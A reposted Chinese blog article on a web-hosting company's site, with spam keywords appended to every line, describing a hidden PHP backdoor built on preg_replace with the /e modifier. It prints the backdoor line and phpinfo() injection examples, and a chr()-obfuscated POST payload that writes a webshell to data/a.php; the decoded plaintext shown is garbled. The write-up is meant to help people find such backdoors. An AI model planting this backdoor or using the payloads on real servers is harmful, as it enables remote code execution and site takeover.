加入收藏 | 设为首页 | 会员中心 | 我要投稿 | 在线留言 | RSS
成网科技业务包括域名空间企业网站制作
 
国际域名com/net/org仅售80元/年
1G独立空间(PHP+MYSQL)仅售600元/年
您当前的位置:首页 > 技术交流 > 网络安全 > 脚本攻防

记一次发现利用preg

时间:2014-08-02 12:04:57  来源:互联网  作者:佚名  点击:

事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到,小黑的伎俩很高级,每次使用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的。这个着实让人蛋疼。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个IP总是很奇怪的POST数据到某个文件。然后一段时间后,此IP就访问一个莫名奇妙文件,名字很显眼明显不是正常系统文件,而是PHP后门。但是很快使用完毕后门就被删除了。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
哈哈,遇到小黑蛮细心的。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
然后通过分析发现,小黑的访问的文件发现代码:YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
@preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”); YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
  YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门。隐蔽吧,基本上任何查杀软件都查杀不到。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
preg_replace函数原型:YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
特别说明:YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
上面的代码是POST接受数据要测试,比较麻烦,如果换成GET获取数据的话。。。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
举例:YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
  YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 echo preg_replace(“/test/e”,$_GET["h"],”jutst test”); YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
  YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
如果我们要POST的话,我们测试提交下面的代码会怎么样呢?YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59)) YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
密文对应的明文是:YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
fputs(fopen(data/a.php,w),);YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
这个就恐怖了吧。。。。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
再来一个有难度的例子:YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 
复制代码代码如下:YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
<? YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
function test($str) YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
{ YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
} YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
echo preg_replace(“/s*[php](.+?)[/php]s*/ies”, ‘test(“/1″)’, $_GET["h"]); YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
?> YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

提交 ?h=phpinfo() ,phpinfo()会被执行吗?YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
肯定不会。因为经过正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅是被当做一个字符串参数了。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
有没有办法让它执行呢?YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
当然有。在这里我们如果提交?h={${phpinfo()}},phpinfo()就会被执行。为什么呢?YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
注意:双引号中的函数不会被执行和替换。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
在这里我们需要通过{${}}构造出了一个特殊的变量,’test(“{${phpinfo()}}”)’,达到让函数被执行的效果(${phpinfo()}会被解释执行)。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
可以先做如下测试:YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
echo “{${phpinfo()}}”; phpinfo会被成功执行了。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
所以,各位查找后门的时候注意查找下。YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
OK,说了那么多,也了解了,以上我给的代码:YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
  YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”); YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
  YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
看似很正常的代码,其实就是一个极度危险的代码,隐藏颇深啊。哈哈。希望对大家有帮助YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
作者:合肥制造 YyZ成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

成网科技 www.it28.com竭诚为您服务!
开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设_成网科技

更多
 


来顶一下
返回首页
返回首页
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
相关文章
    无相关信息
栏目更新
栏目热门